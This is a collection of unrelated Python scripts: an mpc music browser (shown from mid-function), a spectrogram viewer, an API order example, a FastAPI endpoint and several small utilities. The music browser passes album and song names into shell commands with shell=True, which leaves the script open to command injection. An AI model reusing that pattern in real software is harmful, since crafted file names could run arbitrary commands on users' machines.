            header_style="green dim",
            title=f"Artists/{album_selection}",
        )
        song_table.add_column("Index")
        song_table.add_column("Title")

        artist_album_song_list = subprocess.run(
            [f"mpc ls \"{album_selection}\""],
            shell=True,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            universal_newlines=True
        ).stdout

        artist_album_song_list_array = []
        k = 1
        for line in str(artist_album_song_list).split("\n"):
            artist_album_song_list_array.append(line)

        del(artist_album_song_list_array[-1])

        for element in artist_album_song_list_array:
            song_table.add_row(str(k), element)
            k += 1

        with console.pager(styles=True):
            console.print(song_table)

        opt_song = IntPrompt.ask("[b green]Select track by index: ") - 1
        song_selection = artist_album_song_list_array[opt_song]
        subprocess.run(
          [f"mpc add \"{song_selection}\""],
          shell=True,
          stdout=subprocess.PIPE,
          stderr=subprocess.PIPE,
          universal_newlines=True
        ).stdout

        os.system('clear')
    except (KeyboardInterrupt, EOFError):
        os.system('clear')
        return ""


"""
This script takes an audio file and turns it into a series of spectrograms that you can
look at and see if they look good or not.

This is useful for tuning the spectrogram providing function to provide spectrograms
that are likely to be the right dimensions, windowing function, etc. to make learning
useful features from them easier.
"""
import audiosegment as asg
import matplotlib.pyplot as plt
import numpy as np
import os
import sys

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Need path to test audio file")
        exit(1)
    elif not os.path.isfile(sys.argv[1]):
        print("Need a valid path")
        exit(2)

    #################################################################
    # Here are the configurations that you should tune to your liking
    #################################################################
    # Resampling
    sample_rate_hz  = 8000.0    # 16kHz sample rate
    bytewidth       = 2          # 16-bit samples
    nchannels       = 1          # mono

    # Spectrogram
    duration_s      = 0.30        # Duration of each complete spectrogram
    window_length_s = 0.020       # How long each FFT is
    overlap         = 0.2        # How much each FFT overlaps with each other one

    # Track
    first_start_s   = 14          # Where in the track should we start grabbing spectrograms?
    #################################################################

    # Load the audio file into an AudioSegment
    seg = asg.from_file(sys.argv[1])
    seg = seg.resample(sample_rate_Hz=sample_rate_hz, sample_width=bytewidth, channels=nchannels)

    nspectrograms = 4
    for i in range(1, nspectrograms + 1):
        idx = i - 1
        start_s = idx * duration_s + first_start_s
        frequencies, times, amplitudes = seg.spectrogram(start_s, duration_s, window_length_s=window_length_s, overlap=overlap)
        print("Fs, ts, amps:", frequencies.shape, times.shape, amplitudes.shape)

        # Log the amplitudes to help with contrast
        #amplitudes = 10 * np.log10(amplitudes + 1e-9)

        # Plot into a subplot
        subplotidx = 100 + (nspectrograms * 10) + i
        plt.subplot(subplotidx)
        plt.pcolormesh(times, frequencies, amplitudes)

    ## Now finally show the spectrograms
    plt.show()


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Fri Aug  2 15:49:40 2019

@author: lavanyasingh
"""

# script to determine optimal number of workers for meta_scrape.py

from meta_scrape import MetadataParser
import timeit
import matplotlib.pyplot as plt
import argparse

def run_script(processes):
    crawler = MetadataParser(processes)
    time = timeit.timeit(crawler.main, number = 1)
    print(time)
    return time

def time(max_processes):
    times = [run_script(i) for i in range(2, max_processes+1)]
    plt.plot(range(2, max_processes+1), times)
    print("MIN:", min(times), times.index(min(times)))
    plt.ylabel('time')
    plt.xlabel('processes')
    plt.show()

def verify(processes):
    crawler = MetadataParser(processes=processes)
    res = crawler.main()
    count = 0
    for url in res:
        print(url[1])
        if str(url[1]).find('upstream request timeout') != -1:
            count += 1
    return count

def run_test(max_processes):
    counts = [verify(i) for i in range(2, max_processes+1)]
    plt.plot(range(2, max_processes+1), counts)
    plt.ylabel('request timeouts')
    plt.xlabel('workers')
    plt.show()

if __name__ == "__main__":
    argp = argparse.ArgumentParser(description=
           'determine optimal number of workers to use in meta_scrape.py')
    argp.add_argument('-p', '--processes', nargs='?', default=15, type=int,
                      help='max number of workers to try. defaults to 16.')
    args = argp.parse_args()
    run_test(args.processes)


# -*- coding: utf-8 -*-
"""
    CreatedDate: 2022-07-13
    FileName   : coinChange.py
    Author     : Honghe
    Descreption: 322. 零钱兑换
"""
from typing import List

class Solution:
    def coinChange(self, coins: List[int], amount: int) -> int:
        length = len(coins)
        dp = [[float("inf")]*(length+1) for _ in range(amount+1)]
        for i in range(amount+1):
            for j in range(length+1):
                if i==0:
                    dp[i][j]=0
                    continue
                if j==0:
                    continue
                if coins[j-1]==i:
                   dp[i][j] = 1
                elif coins[j-1]<i:
                    dp[i][j] = min(dp[i][j-1],dp[i-coins[j-1]][j]+1)
                else:
                    dp[i][j] = dp[i][j-1]
        return dp[-1][-1] if dp[-1][-1]!=float("inf") else -1

    def coinChange2(self, coins: List[int], amount: int) -> int:
        dp = [float("inf")]*(amount+1)
        dp[0] = 0
        for i in range(1,amount+1):
            for j in coins:
                if i>=j:
                    dp[i] = min(dp[i],dp[i-j]+1)
        return dp[-1] if dp[-1]!=float("inf") else -1

if __name__ == '__main__':
    sol = Solution()
    coins = [5,1,2]
    amount = 11
    print(sol.coinChange2(coins,amount))


#!/usr/bin/env python
"""
This example creates one order containing 4 items.  In this case a couple
different iPhone 6 cases.

To run this code just edit your CUSTOMER_CODE and API_KEY
for Spoke Custom below and type:

    python iphone6.py

"""

import datetime
import pprint

import spoke

CUSTOMER_CODE = ...
API_KEY = ...

api = spoke.Spoke(
    production=True,
    Customer=CUSTOMER_CODE,
    Key=API_KEY,
    Logo={
        'ImageType' : 'svg',
        'Url' : "https://d1s82l1atzspzx.cloudfront.net/threadless-media/static/imgs/global/threadless-logo.svg",
    },
)

order_id = 2
shipment_id = 2
shipping_address = {
    'FirstName' : 'Mister',
    'LastName' : 'Mittens',
    'Address1' : '1260 W Madison St',
    'City' : 'Chicago',
    'State' : 'IL',
    'PostalCode' : '60607',
    'CountryCode' : 'US',
    'OrderDate' : datetime.datetime.now().strftime("%m/%d/%Y"),
    'PhoneNumber' : '555-555-5555',
    'PurchaseOrderNumber' : shipment_id,
    'GiftMessage' : '',
    'Prices':dict(
        DisplayOnPackingSlip="No",
        CurrencySymbol="$",
        TaxCents='0',
        ShippingCents='0',
        DiscountCents='0'
    ),
}

def get_image(filename):
    return "https://d1s82l1atzspzx.cloudfront.net/threadless-media/{}?rot=270&q=95".format(filename)

items = [
    dict(stock_id=1,
         quantity=1,
         print_image=get_image('artist_designs/1680000-1760000/1713600-1715200/1714912-1714944/1714928/1714928-3938-star_iphone2.jpg'),
         case_type="iph6tough"
     ),
    dict(stock_id=2,
         quantity=1,
         print_image=get_image('artist_designs/1520000-1600000/1547200-1548800/1547424-1547456/1547453/1547453-5376-attack_iphone.JPG'),
         case_type="iph6tough"
     ),
    dict(stock_id=3,
         quantity=1,
         print_image=get_image('artist_designs/1840000-1920000/1883200-1884800/1884544-1884576/1884551/1884551-4709-iphonemythunderstood.jpg'),
         case_type="iph6bt"
     ),
    dict(stock_id=4,
         quantity=1,
         print_image=get_image('artist_designs/1680000-1760000/1729600-1731200/1730048-1730080/1730078/1730078-5430-iphone.jpg'),
         case_type="iph6bt"
     ),
]

data = dict(
    OrderId=order_id,
    ShippingMethod='Overnight',
    OrderInfo=shipping_address,
    Cases=[
        {
            'CaseId': item['stock_id'],
            'CaseType': item["case_type"],
            'Quantity': item['quantity'],
        'PrintImage': {
            'ImageType': 'jpg',
            'Url': item['print_image'],
        },
        } for item in items
    ],
)

pprint.pprint(data)

api.new(**data)


import os
from platform import system
from traceback import print_exc

from PIL import Image
from win10toast import ToastNotifier

def main():
    global saved_counter

    imgs_dir = os.path.join(
        os.environ['USERPROFILE'],
        'AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets'
    )
    # destination = os.path.join(os.environ['USERPROFILE'], 'Desktop\\Windows SpotLight Images')
    destination = 'Windows SpotLight Images'
    file_list = os.listdir(imgs_dir)
    if not os.path.exists(destination):
        # os.chdir(os.path.join(os.environ['USERPROFILE'], 'Desktop'))
        os.mkdir('Windows SpotLight Images')

    for file in file_list:
        with Image.open(os.path.join(imgs_dir, file)) as img:
            if img.size == (1920, 1080):
                img.save(os.path.join(destination, f'{file}.jpg'))
                saved_counter += 1

if __name__ == '__main__' and system() == 'Windows':
    try:
        saved_counter = 0
        main()
        ToastNotifier().show_toast(
            f"{saved_counter} images saved…!", "Windows Spotlight Images",
            icon_path=''
        )
    except Exception as e:
        print(e)
        print_exc()
        input('\nPress enter to exit.')


import os
from datetime import datetime
from fastapi import APIRouter
from pydantic import BaseModel
from typing import List
from psycopg_pool import ConnectionPool

conninfo = os.environ["DATABASE_URL"]
pool = ConnectionPool(conninfo=conninfo)

router = APIRouter()

class Job(BaseModel):
    id: int
    created: datetime
    city: str
    state: str
    title: str
    company: str
    description: str
    redirect_url: str

class JobList(BaseModel):
    __root__: List[Job]

@router.get("/api/jobs/list/", response_model=JobList)
def jobs_list():
    with pool.connection() as conn:
        with conn.cursor() as cur:
            cur.execute(
                """
                SELECT id,
                    created,
                    city,
                    state,
                    title,
                    company,
                    description,
                    redirect_url
                FROM jobs
                ORDER BY created desc
                LIMIT 100
                """,
            )

            ds = []
            for row in cur.fetchall():
                d = {
                    "id": row[0],
                    "created": row[1],
                    "city": row[2],
                    "state": row[3],
                    "title": row[4],
                    "company": row[5],
                    "description": row[6],
                    "redirect_url": row[7],
                }
                ds.append(d)
            return ds


"""evdsts IndexBuilder Class"""

__author__ = "Burak CELIK"
__copyright__ = "Copyright (c) 2022 Burak CELIK"
__license__ = "MIT"
__version__ = "1.0rc3"
__internal__ = "0.0.1"

import json
from json import JSONDecodeError
from datetime import datetime
from pathlib import Path
from time import sleep
from typing import Any, List, Optional, Dict

from evdsts.configuration.cfg import EVDSTSConfig
from evdsts.base.connecting import Connector
from evdsts.utils.general import delete_file, progress, write_json

class IndexBuilder:

    """EVDS Time Series Index Builder Class"""

    def __init__(
                 self,
                 key: Optional[str] = None,
                 language: str = "TR",
                 proxy_servers: Optional[Dict[str, str]] = None,
                 verify_certificates: bool = True
                 ) -> None:

        """EVDS (EDDS) Search Index Builder.

        Args:
            - key (str): API key supplied by EVDS (EDDS) service.
            - language (str, optional): Interface language (if available). Defaults to "TR".
            - proxy_servers (Optional[Dict[str, str]], optional): Proxies for accesing the EVDS
            over them. Defaults to None
            - verify_certificates (bool, optional): Enabling/Disabling of SSL security certificate
            checking during connection.
                - True: Check SSL sertificate is valid.
                - False: No security check (use the option if you encounter connection problems
                despite the API service is actually on-line)
            Defaults to True.
        """

        self.cfg: EVDSTSConfig = EVDSTSConfig()

        self.key: str = key if key else self._load_key()
        self.index_file: str = ""
        self.connector = Connector(
            key=self.key,
            language=language,
            proxy_servers=proxy_servers,
            verify_certificates=verify_certificates
        )

        self.language: str = language

    @property
    def language(self) -> str:

        """Returns language code"""

        return self._language

    @language.setter
    def language(self, val: str) -> None:

        """Sets Indexing language"""

        if not self.cfg.defined_languages.get(val.strip(), None):
            raise ValueError(f"{val.strip()} is not a defined language.")

        self._language = val.strip()

        self._language_changed(self._language)

    @property
    def index_age_in_days(self) -> int:

        """Returns the age of the search index file in days.

        Returns:
            int: age of serch index file (in days)
        """

        if not Path(self.index_file).is_file():
            return -1

        modification_time_stamp: float = Path(self.index_file).stat().st_mtime
        modification_date: datetime = datetime.fromtimestamp(modification_time_stamp)
        age_days: int = (datetime.now() - modification_date).days

        return age_days

    def _language_changed(self, language: str) -> None:

        """Things that must be reloaded when the language is changed.

        Args:
            language (str): selected language
        """

        # reload when the language is chenged
        self.index_file = self._set_index_file(language)
        self.connector.language = language

    def _load_key(self) -> None:

        """Load name references into memory from the references file.

        Returns:
            - Dict[str, str]: name references
        """

        corrupted_file: bool = False

        if not Path.is_file(Path(self.cfg.key_file)):
            raise ValueError(
                f"\nYou need to provide a key either with 'key=YOUR_API_KEY' or have a file on\n "
                f"{self.cfg.key_file} that holds the key that you saved before.\nYou can save your "
                "API key using 'save_key()' method of EVDSConnector in order not to provide\na key "
                "every time when you create an instance of IndexBuilder."
            )

        with open(self.cfg.key_file, "r", encoding="utf-8") as f:
            try:
                key: str = json.load(f)['key']
            except JSONDecodeError:
                print('JSON file that keeps the API KEY can not be decoded and is removed!')
                corrupted_file = True

        if corrupted_file:
            delete_file(self.cfg.key_file)
            raise ValueError(
                f"The file {self.cfg.key_file} was corrupted and deleted!\n You can save your key "
                "using 'save_key() method now if you would like to."
            )

        return key

    def _set_index_file(self, language: str) -> str:

        """Sets search index file corresponding to given language

        Returns:
            - str: index file name
        """

        if language == "TR":
            return self.cfg.index_file_tr
        else:
            return self.cfg.index_file_en

    def _get_series(self, wait: int) -> Dict[str, Any]:

        """Downloads indexing data from the API Service

        Args:
            - wait (int): waiting time in seconds before each new connection is established.
                - can not be set less then 5 secs. in order not to overload the API service.

        Returns:
            Dict[str, Any]: All available series on EVDS service.
        """

        index: Dict[str, Any] = {}

        main_categories: Dict[int, str] = self.connector.get_main_categories(as_dict=True)
        main_category_ids: List[int] = main_categories.keys()
        size: int = len(main_category_ids)

        progress(0, size)
        exit_: bool = False

        for idx, id_ in enumerate(main_category_ids):
            sub_categories: Dict[str, Any] = (
                self.connector.get_sub_categories(id_, as_dict=True).keys()
            )
            try:
                for group in sub_categories:
                    series_group: Dict[str, Any] = self.connector.get_groups(group, as_dict=True)
                    index.update(series_group)
                    sleep(wait)
            except KeyboardInterrupt:
                exit_ = True

            progress(idx, size)

            if exit_:
                print('\nAborted !')
                break

        return index

    def _write_index(self, index: Dict[str, Any]) -> None:

        """Writes created index to the disk.

        Args:
            index (Dict[str, Any]): provided created index dictionary.
        """

        write_json(self.index_file, reference_dict=index)

    def build_index(self, wait: float = 5) -> None:

        """Builds a new search index that is required by in-situ searches.

        Args:
            - wait (int): waiting time in seconds before each new connection is established.
                - can not be set less then 5 secs. in order not to overload the API service.
        """

        if wait < 5:
            print(
                "Connecting the server intensively could cause a service overload.\n"
                "waiting time before a new connection is established must be at least 5 sec."
            )
            return

        index_age: int = self.index_age_in_days

        if index_age != -1:
            print(f"\nCurrent index is {index_age} days old.")
        else:
            print("\nNo prior built index is found.")
        print("Rebuilding the index will take around 30 minutes.\n")

        accept: str = input("Are you sure to continue? [Y/N]\n")
        if accept.lower() not in ('y', 'yes'):
            print("\nAborted!")
            return

        print("\n(1/2) creating index... (ctrl+C to abort)\n")
        index: Dict[str, Any] = self._get_series(wait)
        print(f"\n(2/2) writing index -> {self.index_file}\n")
        self._write_index(index)
        print("done...\n")
        print(
            "The search index is created with most up-to-date entries from EVDS service.\n"
            "You can now search series in this updated index."
        )


from typing import Optional

from arnold.adapter import ArnoldAdapter
from arnold.crud.read.plot.format_plot_data import format_grouped_plot_data, format_plot_data

def trend_turn_around_times(
    adapter: ArnoldAdapter,
    year: int,
    field: str,
    group: Optional[str],
):

    match = {
        "$match": {
            "received_date": {"$exists": "True"},
            field: {"$exists": "True"},
        }
    }
    project = {
        "$project": {
            "month": {"$month": "$received_date"},
            "year": {"$year": "$received_date"},
            field: 1,
        }
    }
    match_year = {"$match": {"year": year}}
    group_by = {
        "$group": {
            "_id": {"month": "$month"},
            field: {"$push": f"${field}"},
        }
    }
    add_average = {"$addFields": {f"average_nr_days_{field}": {"$avg": f"${field}"}}}

    if group:
        match["$match"][group] = {"$exists": "True"}
        project["$project"][group] = 1
        group_by["$group"]["_id"][group] = f"${group}"

    pipe = [match, project, match_year, group_by, add_average]
    data = list(adapter.sample_collection.aggregate(pipe))
    return (
        format_grouped_plot_data(
            plot_data=data, group_field=group, trend_field=f"average_nr_days_{field}"
        )
        if group
        else format_plot_data(plot_data=data, trend_field=f"average_nr_days_{field}")
    )


import ffmpy

path = "C:\\users\\roy\\Downloads"
inputFile = "West Ham United vs Tottenham 2017-09-23 2nd half ENG.mp4"
outputFile = inputFile.replace(".mp4", ".m4a")
ff = ffmpy.FFmpeg(
    inputs={path + '\\' + inputFile: None},
    outputs={path + '\\' + outputFile: '-vn -acodec copy'}
)

ff.run()